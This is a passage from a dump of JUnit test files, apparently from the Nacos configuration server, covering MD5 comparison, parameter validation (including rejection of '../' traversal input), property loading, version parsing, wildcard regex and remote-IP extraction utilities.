testCompareMd5ResultString() {\n        \n        final MockedStatic<GroupKey2> groupKey2MockedStatic = Mockito.mockStatic(GroupKey2.class);\n        \n        HashMap<String, ConfigListenState> changedGroupKeys = new HashMap<>();\n        changedGroupKeys.put(\"test\", new ConfigListenState(\"testMd5\"));\n        \n        String[] arr = new String[3];\n        arr[0] = \"test0\";\n        arr[1] = \"test1\";\n        arr[2] = \"test2\";\n        when(GroupKey2.parseKey(anyString())).thenReturn(arr);\n        \n        try {\n            String actualValue = MD5Util.compareMd5ResultString(changedGroupKeys);\n            assertEquals(\"test0%02test1%02test2%01\", actualValue);\n        } catch (IOException e) {\n            System.out.println(e.toString());\n        }\n        \n        groupKey2MockedStatic.close();\n    }\n    \n    @Test\n    void testGetClientMd5Map() {\n        \n        String configKeysString =\n                \"test0\" + MD5Util.WORD_SEPARATOR_CHAR + \"test1\" + MD5Util.WORD_SEPARATOR_CHAR + \"test2\"\n                        + MD5Util.LINE_SEPARATOR_CHAR;\n        \n        Map<String, ConfigListenState> actualValueMap = MD5Util.getClientMd5Map(configKeysString);\n        assertEquals(\"test2\", actualValueMap.get(\"test0+test1+public\").getMd5());\n        \n    }\n    \n    @Test\n    void testGetClientMd5MapForNewProtocol() {\n        String configKeysString =\n                \"test0\" + MD5Util.WORD_SEPARATOR_CHAR + \"test1\" + MD5Util.WORD_SEPARATOR_CHAR + \"test2\"\n                        + MD5Util.WORD_SEPARATOR_CHAR + \"test3\" + MD5Util.LINE_SEPARATOR_CHAR;\n        \n        Map<String, ConfigListenState> actualValueMap = MD5Util.getClientMd5Map(configKeysString);\n        \n        assertEquals(\"test2\", actualValueMap.get(\"test0+test1+test3\").getMd5());\n    }\n    \n    @Test\n    void testToStringV1() {\n        \n        try {\n            InputStream input = IOUtils.toInputStream(\"test\", StandardCharsets.UTF_8);\n            String actualValue = MD5Util.toString(input, \"UTF-8\");\n            assertEquals(\"test\", actualValue);\n        } catch (IOException e) {\n            System.out.println(e.toString());\n        }\n    }\n    \n    @Test\n    void testToStringV2() {\n        \n        try {\n            Reader reader = new CharArrayReader(\"test\".toCharArray());\n            String actualValue = MD5Util.toString(reader);\n            assertEquals(\"test\", actualValue);\n        } catch (IOException e) {\n            System.out.println(e.toString());\n        }\n    }\n    \n    @Test\n    void testCopy() {\n        \n        try {\n            String content = \"test\";\n            Reader input = new CharArrayReader(\"test\".toCharArray());\n            Writer output = new CharArrayWriter();\n            long actualValue = MD5Util.copy(input, output);\n            \n            assertEquals(content.length(), actualValue);\n            assertEquals(content, output.toString());\n            \n        } catch (IOException e) {\n            System.out.println(e.toString());\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/Md5ComparatorDelegateTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedConstruction;\nimport org.mockito.MockedStatic;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.mock.web.MockHttpServletRequest;\nimport org.springframework.mock.web.MockHttpServletResponse;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\nimport java.util.Collections;\nimport java.util.HashMap;\n\nimport static org.mockito.Mockito.mockConstruction;\nimport static org.mockito.Mockito.mockStatic;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass Md5ComparatorDelegateTest {\n    \n    public MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    public MockedStatic<NacosServiceLoader> nacosServiceLoaderMockedStatic;\n    \n    public MockedConstruction<NacosMd5Comparator> nacosMd5ComparatorMockedConstruction;\n    \n    @Mock\n    public NacosMd5Comparator nacosMd5Comparator;\n    \n    @BeforeEach\n    void setUp() {\n        envUtilMockedStatic = mockStatic(EnvUtil.class);\n        nacosServiceLoaderMockedStatic = mockStatic(NacosServiceLoader.class);\n    }\n    \n    @AfterEach\n    void tearDown() {\n        envUtilMockedStatic.close();\n        nacosServiceLoaderMockedStatic.close();\n    }\n    \n    @Test\n    public void test() {\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\")).thenReturn(\"lalala\");\n        nacosServiceLoaderMockedStatic.when(() -> NacosServiceLoader.load(Md5Comparator.class))\n                .thenReturn(Collections.singletonList(nacosMd5Comparator));\n        MockHttpServletRequest request = new MockHttpServletRequest();\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        HashMap<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        nacosMd5ComparatorMockedConstruction = mockConstruction(NacosMd5Comparator.class, (mock, context) -> {\n            when(mock.compareMd5(request, response, clientMd5Map)).thenReturn(null);\n        });\n        Md5ComparatorDelegate.getInstance().compareMd5(request, response, clientMd5Map);\n        verify(nacosMd5Comparator, times(0)).compareMd5(request, response, clientMd5Map);\n        nacosMd5ComparatorMockedConstruction.close();\n    }\n    \n    @Test\n    public void test2() throws Exception {\n        when(nacosMd5Comparator.getName()).thenReturn(\"nacos\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\")).thenReturn(\"nacos\");\n        nacosServiceLoaderMockedStatic.when(() -> NacosServiceLoader.load(Md5Comparator.class))\n                .thenReturn(Collections.singletonList(nacosMd5Comparator));\n        Constructor constructor = Md5ComparatorDelegate.class.getDeclaredConstructor();\n        constructor.setAccessible(true);\n        Field field = Md5ComparatorDelegate.class.getDeclaredField(\"INSTANCE\");\n        field.setAccessible(true);\n        Md5ComparatorDelegate delegate = (Md5ComparatorDelegate) constructor.newInstance();\n        setStaticFinalField(field, delegate);\n        MockHttpServletRequest request = new MockHttpServletRequest();\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        HashMap<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        Md5ComparatorDelegate.getInstance().compareMd5(request, response, clientMd5Map);\n        verify(nacosMd5Comparator, times(1)).compareMd5(request, response, clientMd5Map);\n    }\n    \n    private void setStaticFinalField(Field finalField, Object value)\n            throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n        Method getDeclaredFields0 = Class.class.getDeclaredMethod(\"getDeclaredFields0\", boolean.class);\n        getDeclaredFields0.setAccessible(true);\n        Field[] fields = (Field[]) getDeclaredFields0.invoke(Field.class, false);\n        Field modifiers = null;\n        for (Field each : fields) {\n            if (\"modifiers\".equals(each.getName())) {\n                modifiers = each;\n            }\n        }\n        modifiers.setAccessible(true);\n        modifiers.setInt(finalField, finalField.getModifiers() & ~Modifier.FINAL);\n        finalField.setAccessible(true);\n        finalField.set(null, value);\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/NacosMd5ComparatorTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport jakarta.servlet.http.HttpServletRequest;\nimport jakarta.servlet.http.HttpServletResponse;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.api.common.Constants.VIPSERVER_TAG;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.mockStatic;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosMd5ComparatorTest {\n    \n    MockedStatic<RequestUtil> mockRequestUtil;\n    \n    MockedStatic<ConfigCacheService> configCacheServiceMockedStatic;\n    \n    @Mock\n    HttpServletRequest request;\n    \n    @Mock\n    HttpServletResponse response;\n    \n    @BeforeEach\n    void setUp() {\n        mockRequestUtil = mockStatic(RequestUtil.class);\n        configCacheServiceMockedStatic = mockStatic(ConfigCacheService.class);\n    }\n    \n    @AfterEach\n    void tearDown() {\n        mockRequestUtil.close();\n        configCacheServiceMockedStatic.close();\n    }\n    \n    @Test\n    void getName() {\n        NacosMd5Comparator nacosMd5Comparator = new NacosMd5Comparator();\n        assertEquals(\"nacos\", nacosMd5Comparator.getName());\n    }\n    \n    @Test\n    void compareMd5NoChange() {\n        String ip = \"127.0.0.1\";\n        String tag = \"tag\";\n        when(request.getHeader(VIPSERVER_TAG)).thenReturn(tag);\n        mockRequestUtil.when(() -> RequestUtil.getRemoteIp(request)).thenReturn(ip);\n        \n        String groupKey1 = \"groupKey1\";\n        String groupKey2 = \"groupKey2\";\n        String clientMd5 = \"clientMd5\";\n        HashMap<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        clientMd5Map.put(groupKey1, new ConfigListenState(clientMd5));\n        clientMd5Map.put(groupKey2, new ConfigListenState(clientMd5));\n        \n        NacosMd5Comparator nacosMd5Comparator = new NacosMd5Comparator();\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.isUptodate(anyString(), eq(clientMd5), eq(ip), eq(tag))).thenReturn(true);\n        \n        Map<String, ConfigListenState> changedGroupKeys = nacosMd5Comparator.compareMd5(request, response, clientMd5Map);\n        assertEquals(0, changedGroupKeys.size());\n    }\n    \n    @Test\n    void compareMd5Change() {\n        String ip = \"127.0.0.1\";\n        String tag = \"tag\";\n        when(request.getHeader(VIPSERVER_TAG)).thenReturn(tag);\n        mockRequestUtil.when(() -> RequestUtil.getRemoteIp(request)).thenReturn(ip);\n        \n        String groupKey1 = \"groupKey1\";\n        String groupKey2 = \"groupKey2\";\n        String clientMd5 = \"clientMd5\";\n        HashMap<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        clientMd5Map.put(groupKey1, new ConfigListenState(clientMd5));\n        clientMd5Map.put(groupKey2, new ConfigListenState(clientMd5));\n        \n        NacosMd5Comparator nacosMd5Comparator = new NacosMd5Comparator();\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.isUptodate(anyString(), eq(clientMd5), eq(ip), eq(tag))).thenReturn(false);\n        \n        Map<String, ConfigListenState> changedGroupKeys = nacosMd5Comparator.compareMd5(request, response, clientMd5Map);\n        assertEquals(2, changedGroupKeys.size());\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/ParamUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.fail;\n\nclass ParamUtilsTest {\n    \n    @Test\n    void testIsValid() {\n        assertTrue(ParamUtils.isValid(\"test\"));\n        assertTrue(ParamUtils.isValid(\"test1234\"));\n        assertTrue(ParamUtils.isValid(\"test_-.:\"));\n        assertFalse(ParamUtils.isValid(\"test!\"));\n        assertFalse(ParamUtils.isValid(\"test~\"));\n    }\n    \n    @Test\n    void testCheckParamV1() {\n        //dataId is empty\n        String dataId = \"\";\n        String group = \"test\";\n        String datumId = \"test\";\n        String content = \"test\";\n        try {\n            ParamUtils.checkParam(dataId, group, datumId, content);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        //group is empty\n        dataId = \"test\";\n        group = \"\";\n        datumId = \"test\";\n        content = \"test\";\n        try {\n            ParamUtils.checkParam(dataId, group, datumId, content);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        //datumId is empty\n        dataId = \"test\";\n        group = \"test\";\n        datumId = \"\";\n        content = \"test\";\n        try {\n            ParamUtils.checkParam(dataId, group, datumId, content);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        //content is empty\n        dataId = \"test\";\n        group = \"test\";\n        datumId = \"test\";\n        content = \"\";\n        try {\n            ParamUtils.checkParam(dataId, group, datumId, content);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        //dataId invalid\n        dataId = \"test!\";\n        group = \"test\";\n        datumId = \"test\";\n        content = \"test\";\n        try {\n            ParamUtils.checkParam(dataId, group, datumId, content);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        //group invalid\n        dataId = \"test\";\n        group = \"test!\";\n        datumId = \"test\";\n        content = \"test\";\n        try {\n            ParamUtils.checkParam(dataId, group, datumId, content);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        //datumId invalid\n        dataId = \"test\";\n        group = \"test\";\n        datumId = \"test!\";\n        content = \"test\";\n        try {\n            ParamUtils.checkParam(dataId, group, datumId, content);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        //content over length\n        dataId = \"test\";\n        group = \"test\";\n        datumId = \"test\";\n        int maxContent = 10 * 1024 * 1024;\n        StringBuilder contentBuilder = new StringBuilder();\n        for (int i = 0; i < maxContent + 1; i++) {\n            contentBuilder.append(\"t\");\n        }\n        content = contentBuilder.toString();\n        \n        try {\n            ParamUtils.checkParam(dataId, group, datumId, content);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n    }\n    \n    @Test\n    void testCheckParamV2() {\n        //tag invalid\n        String tag = \"test!\";\n        try {\n            ParamUtils.checkParam(tag);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n        //tag over length\n        tag = \"testtesttesttest1\";\n        try {\n            ParamUtils.checkParam(tag);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n    }\n    \n    @Test\n    void testCheckParamV3() {\n        //tag size over 5\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"config_tags\", \"test,test,test,test,test,test\");\n        try {\n            ParamUtils.checkParam(configAdvanceInfo);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        //tag length over 5\n        configAdvanceInfo.clear();\n        StringBuilder tagBuilder = new StringBuilder();\n        for (int i = 0; i < 65; i++) {\n            tagBuilder.append(\"t\");\n        }\n        configAdvanceInfo.put(\"config_tags\", tagBuilder.toString());\n        try {\n            ParamUtils.checkParam(configAdvanceInfo);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        \n        //desc length over 128\n        configAdvanceInfo.clear();\n        StringBuilder descBuilder = new StringBuilder();\n        for (int i = 0; i < 129; i++) {\n            descBuilder.append(\"t\");\n        }\n        configAdvanceInfo.put(\"desc\", descBuilder.toString());\n        try {\n            ParamUtils.checkParam(configAdvanceInfo);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        \n        //use length over 32\n        configAdvanceInfo.clear();\n        StringBuilder useBuilder = new StringBuilder();\n        for (int i = 0; i < 33; i++) {\n            useBuilder.append(\"t\");\n        }\n        configAdvanceInfo.put(\"use\", useBuilder.toString());\n        try {\n            ParamUtils.checkParam(configAdvanceInfo);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        \n        //effect length over 32\n        configAdvanceInfo.clear();\n        StringBuilder effectBuilder = new StringBuilder();\n        for (int i = 0; i < 33; i++) {\n            effectBuilder.append(\"t\");\n        }\n        configAdvanceInfo.put(\"effect\", effectBuilder.toString());\n        try {\n            ParamUtils.checkParam(configAdvanceInfo);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        \n        //type length over 32\n        configAdvanceInfo.clear();\n        StringBuilder typeBuilder = new StringBuilder();\n        for (int i = 0; i < 33; i++) {\n            typeBuilder.append(\"t\");\n        }\n        configAdvanceInfo.put(\"type\", typeBuilder.toString());\n        try {\n            ParamUtils.checkParam(configAdvanceInfo);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        \n        //schema length over 32768\n        configAdvanceInfo.clear();\n        StringBuilder schemaBuilder = new StringBuilder();\n        for (int i = 0; i < 32769; i++) {\n            schemaBuilder.append(\"t\");\n        }\n        configAdvanceInfo.put(\"schema\", schemaBuilder.toString());\n        try {\n            ParamUtils.checkParam(configAdvanceInfo);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n        \n        //invalid param\n        configAdvanceInfo.clear();\n        configAdvanceInfo.put(\"test\", \"test\");\n        try {\n            ParamUtils.checkParam(configAdvanceInfo);\n            fail();\n        } catch (NacosException e) {\n            System.out.println(e.toString());\n        }\n    }\n    \n    @Test\n    void testCheckTenant() {\n        //tag invalid\n        String tenant = \"test!\";\n        try {\n            ParamUtils.checkTenant(tenant);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n        \n        //tag over length\n        int tanantMaxLen = 128;\n        StringBuilder tenantBuilder = new StringBuilder();\n        for (int i = 0; i < tanantMaxLen + 1; i++) {\n            tenantBuilder.append(\"t\");\n        }\n        tenant = tenantBuilder.toString();\n        try {\n            ParamUtils.checkTenant(tenant);\n            fail();\n        } catch (IllegalArgumentException e) {\n            System.out.println(e.toString());\n        }\n    }\n    \n    @Test\n    void testCheckParamWithNamespaceGroupDataId() {\n        assertThrows(NacosApiException.class, () -> ParamUtils.checkParam(\"../\", \"group\", \"\"));\n        assertThrows(NacosApiException.class, () -> ParamUtils.checkParam(\"dataId\", \"../\", \"\"));\n        assertThrows(NacosApiException.class, () -> ParamUtils.checkParam(\"dataId\", \"group\", \"../\"));\n        assertDoesNotThrow(() -> ParamUtils.checkParam(\"dataId\", \"group\", \"\"));\n        assertDoesNotThrow(() -> ParamUtils.checkParam(\"dataId\", \"group\", UUID.randomUUID().toString()));\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/PropertyUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.apache.commons.io.FileUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.security.util.FieldUtils;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.io.File;\nimport java.lang.reflect.Field;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.eq;\n\n@ExtendWith(SpringExtension.class)\nclass PropertyUtilTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    private String mockMem = \"tmpmocklimitfile.txt\";\n    \n    @BeforeEach\n    void setUp() {\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(eq(\"memory_limit_file_path\"),\n                eq(\"/sys/fs/cgroup/memory/memory.limit_in_bytes\"))).thenReturn(mockMem);\n        \n    }\n    \n    @AfterEach\n    void after() {\n        envUtilMockedStatic.close();\n        File file = new File(mockMem);\n        if (file.exists()) {\n            file.delete();\n        }\n    }\n    \n    @Test\n    void testGetPropertyV1() {\n        \n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(eq(\"test\"))).thenReturn(\"test\");\n        assertEquals(\"test\", new PropertyUtil().getProperty(\"test\"));\n        \n    }\n    \n    @Test\n    void testGetPropertyV2() {\n        \n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(eq(\"test\"), eq(\"default\"))).thenReturn(\"default\");\n        assertEquals(\"default\", new PropertyUtil().getProperty(\"test\", \"default\"));\n    }\n    \n    private void clearAllDumpFiled() throws Exception {\n        Field allDumpPageSizeFiled = FieldUtils.getField(PropertyUtil.class, \"allDumpPageSize\");\n        allDumpPageSizeFiled.setAccessible(true);\n        allDumpPageSizeFiled.set(null, null);\n        \n        Field limitMemoryFileFiled = FieldUtils.getField(PropertyUtil.class, \"limitMemoryFile\");\n        limitMemoryFileFiled.setAccessible(true);\n        limitMemoryFileFiled.set(null, null);\n    }\n    \n    @Test\n    void testGetAllDumpPageSize() throws Exception {\n        \n        clearAllDumpFiled();\n        File file = new File(mockMem);\n        \n        //2G pageSize between  50 to 1000\n        long gb2 = 2L * 1024L * 1024L * 1024L;\n        FileUtils.writeStringToFile(file, String.valueOf(gb2));\n        int allDumpPageSizeNormal = PropertyUtil.getAllDumpPageSize();\n        //expect  2*2*50\n        assertEquals(200, allDumpPageSizeNormal);\n        \n        clearAllDumpFiled();\n        // 12G pageSize over 1000\n        long gb12 = 12L * 1024L * 1024L * 1024L;\n        FileUtils.writeStringToFile(file, String.valueOf(gb12));\n        int allDumpPageSizeOverMax = PropertyUtil.getAllDumpPageSize();\n        assertEquals(1000, allDumpPageSizeOverMax);\n        \n        clearAllDumpFiled();\n        //100MB\n        long mb100 = 100L * 1024L * 1024L;\n        FileUtils.writeStringToFile(file, String.valueOf(mb100));\n        \n        int allDumpPageSizeUnderMin = PropertyUtil.getAllDumpPageSize();\n        assertEquals(50, allDumpPageSizeUnderMin);\n    }\n    \n    @Test\n    void testGetAllDumpPageSizeWithJvmArgs() throws Exception {\n        \n        File file = new File(mockMem);\n        if (file.exists()) {\n            file.delete();\n        }\n        int allDumpPageSizeUnderMin = PropertyUtil.initAllDumpPageSize();\n        long maxMem = Runtime.getRuntime().maxMemory();\n        long pageSize = maxMem / 1024 / 1024 / 512 * 50;\n        if (pageSize < 50) {\n            assertEquals(50, allDumpPageSizeUnderMin);\n        } else if (pageSize > 1000) {\n            assertEquals(1000, allDumpPageSizeUnderMin);\n        } else {\n            assertEquals(pageSize, allDumpPageSizeUnderMin);\n        }\n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/ProtocolTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\n@ExtendWith(SpringExtension.class)\nclass ProtocolTest {\n    \n    @Test\n    void testGetVersionNumber() {\n        \n        assertEquals(-1, Protocol.getVersionNumber(null));\n        assertEquals(0, Protocol.getVersionNumber(\"\"));\n        assertEquals(120, Protocol.getVersionNumber(\"1.2.0\"));\n        assertEquals(10, Protocol.getVersionNumber(\"1.A.0\"));\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/RegexParserTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.fail;\n\nclass RegexParserTest {\n    \n    @Test\n    void testRegexFormat() {\n        try {\n            RegexParser.regexFormat(null);\n            fail();\n        } catch (NullPointerException e) {\n            System.out.println(e.toString());\n        }\n        \n        assertEquals(\"^test.*\\\\!.{1}xxxx$\", RegexParser.regexFormat(\"test*!?xxxx\"));\n    }\n    \n    @Test\n    void testContainsWildcard() {\n        assertFalse(RegexParser.containsWildcard(\"test\"));\n        assertTrue(RegexParser.containsWildcard(\"?\"));\n        assertTrue(RegexParser.containsWildcard(\"*\"));\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/RequestUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.core.context.RequestContextHolder;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\nimport org.mockito.Mockito;\n\nimport jakarta.servlet.http.HttpServletRequest;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.eq;\n\nclass RequestUtilTest {\n    \n    private static final String X_REAL_IP = \"X-Real-IP\";\n    \n    private static final String X_FORWARDED_FOR = \"X-Forwarded-For\";\n    \n    @AfterEach\n    void tearDown() {\n        RequestContextHolder.removeContext();\n    }\n    \n    @Test\n    void testGetRemoteIpFromRequest() {\n        HttpServletRequest request = Mockito.mock(HttpServletRequest.class);\n        \n        Mockito.when(request.getRemoteAddr()).thenReturn(\"127.0.0.1\");\n        assertEquals(\"127.0.0.1\", RequestUtil.getRemoteIp(request));\n        \n        Mockito.when(request.getHeader(eq(X_REAL_IP))).thenReturn(\"127.0.0.2\");\n        assertEquals(\"127.0.0.2\", RequestUtil.getRemoteIp(request));\n        \n        Mockito.when(request.getHeader(eq(X_FORWARDED_FOR))).thenReturn(\"127.0.0.3\");\n        assertEquals(\"127.0.0.3\", RequestUtil.getRemoteIp(request));\n        \n        Mockito.when(request.getHeader(eq(X_FORWARDED_FOR))).thenReturn(\"127.0.0.3, 127.0.0.4\");\n        assertEquals(\"127.0.0.3\", RequestUtil.getRemoteIp(request));\n        \n        Mockito.when(request.getHeader(eq(X_FORWARDED_FOR))).thenReturn(\"\");\n        assertEquals(\"127.0.0.2\", RequestUtil.getRemoteIp(request));\n        \n        Mockito.when(request.getHeader(eq(X_REAL_IP))).thenReturn(\"\");\n        assertEquals(\"127.0.0.1\", RequestUtil.getRemoteIp(request));\n    }\n    